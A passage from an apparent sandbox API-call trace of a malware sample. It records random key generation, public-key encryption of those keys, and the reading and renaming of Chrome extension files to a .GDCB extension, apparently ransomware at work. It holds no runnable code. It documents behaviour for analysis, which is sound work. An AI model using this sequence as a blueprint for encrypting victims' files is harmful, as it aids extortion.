phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ac4b8) returned 1 [0240.757] CryptGetKeyParam (in: hKey=0x66ac4b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0240.757] CryptEncrypt (in: hKey=0x66ac4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xaa80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0240.758] GetLastError () returned 0x0 [0240.758] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.758] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0240.761] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aefb8) returned 1 [0240.761] CryptGetKeyParam (in: hKey=0x66aefb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0240.761] CryptEncrypt (in: hKey=0x66aefb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xaa90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0240.761] GetLastError () returned 0x0 [0240.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.761] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.761] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0240.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.769] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0240.769] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.769] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0240.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.776] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0240.776] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.776] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0240.780] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aecf8) returned 1 [0240.780] CryptGetKeyParam (in: hKey=0x66aecf8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0240.780] CryptEncrypt (in: hKey=0x66aecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaaa0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xaaa0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0240.780] GetLastError () returned 0x0 [0240.780] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.780] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0240.784] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ae978) returned 1 [0240.784] CryptGetKeyParam (in: hKey=0x66ae978, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0240.784] CryptEncrypt (in: hKey=0x66ae978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaab0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xaab0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0240.784] GetLastError () returned 0x0 [0240.784] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.784] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.803] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0240.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.810] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0240.810] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.810] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0240.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.816] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.816] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0240.816] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.817] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0240.819] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac438) returned 1 [0240.819] CryptGetKeyParam (in: hKey=0x66ac438, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0240.819] CryptEncrypt (in: hKey=0x66ac438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaac0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xaac0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0240.820] GetLastError () returned 0x0 [0240.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.820] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0240.822] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66aec38) returned 1 [0240.822] CryptGetKeyParam (in: hKey=0x66aec38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0240.822] CryptEncrypt (in: hKey=0x66aec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaad0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xaad0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0240.823] GetLastError () returned 0x0 [0240.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.823] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0240.824] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xaae0000 [0240.829] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xaaf0000 [0240.832] ReadFile (in: hFile=0x424, lpBuffer=0xaaf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xaaf0000*, lpNumberOfBytesRead=0x285d160*=0x32a2e, lpOverlapped=0x0) returned 1 [0240.873] VirtualAlloc (lpAddress=0x0, dwSize=0x32a30, flAllocationType=0x3000, flProtect=0x4) returned 0xac00000 [0240.885] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.gdcb")) returned 0 [0240.888] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0240.891] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.893] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0240.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.893] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0240.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.899] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0240.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.899] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0240.905] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66aebb8) returned 1 [0240.905] CryptGetKeyParam (in: hKey=0x66aebb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0240.905] CryptEncrypt (in: hKey=0x66aebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaac0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xaac0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0240.905] GetLastError () returned 0x0 [0240.905] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.905] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0240.907] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66aedf8) returned 1 [0240.907] CryptGetKeyParam (in: hKey=0x66aedf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0240.907] CryptEncrypt (in: hKey=0x66aedf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaad0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xaad0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0240.907] GetLastError () returned 0x0 [0240.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.907] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0240.908] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xaae0000 [0240.912] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xaaf0000 [0240.914] ReadFile (in: hFile=0x424, lpBuffer=0xaaf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xaaf0000*, lpNumberOfBytesRead=0x285d160*=0x3b059, lpOverlapped=0x0) returned 1 [0240.991] VirtualAlloc (lpAddress=0x0, dwSize=0x3b060, flAllocationType=0x3000, flProtect=0x4) returned 0xac00000 [0241.005] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.gdcb")) returned 0 [0241.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.019] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.019] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.019] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.023] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.023] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.025] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aed78) returned 1 [0241.025] CryptGetKeyParam (in: hKey=0x66aed78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.025] CryptEncrypt (in: hKey=0x66aed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaac0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xaac0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.025] GetLastError () returned 0x0 [0241.026] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.026] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.027] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aee78) returned 1 [0241.027] CryptGetKeyParam (in: hKey=0x66aee78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.027] CryptEncrypt (in: hKey=0x66aee78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaad0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xaad0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.027] GetLastError () returned 0x0 [0241.027] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.028] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.029] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0241.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.035] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.035] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0241.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.039] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.039] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.039] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.041] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aebf8) returned 1 [0241.041] CryptGetKeyParam (in: hKey=0x66aebf8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.041] CryptEncrypt (in: hKey=0x66aebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaae0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xaae0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.042] GetLastError () returned 0x0 [0241.042] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.042] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0241.044] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aeef8) returned 1 [0241.044] CryptGetKeyParam (in: hKey=0x66aeef8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.044] CryptEncrypt (in: hKey=0x66aeef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaaf0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xaaf0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.044] GetLastError () returned 0x0 [0241.044] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.065] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.074] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.074] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.074] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.078] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.078] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0241.080] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ae8f8) returned 1 [0241.080] CryptGetKeyParam (in: hKey=0x66ae8f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.080] CryptEncrypt (in: hKey=0x66ae8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.080] GetLastError () returned 0x0 [0241.080] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.080] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.082] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: 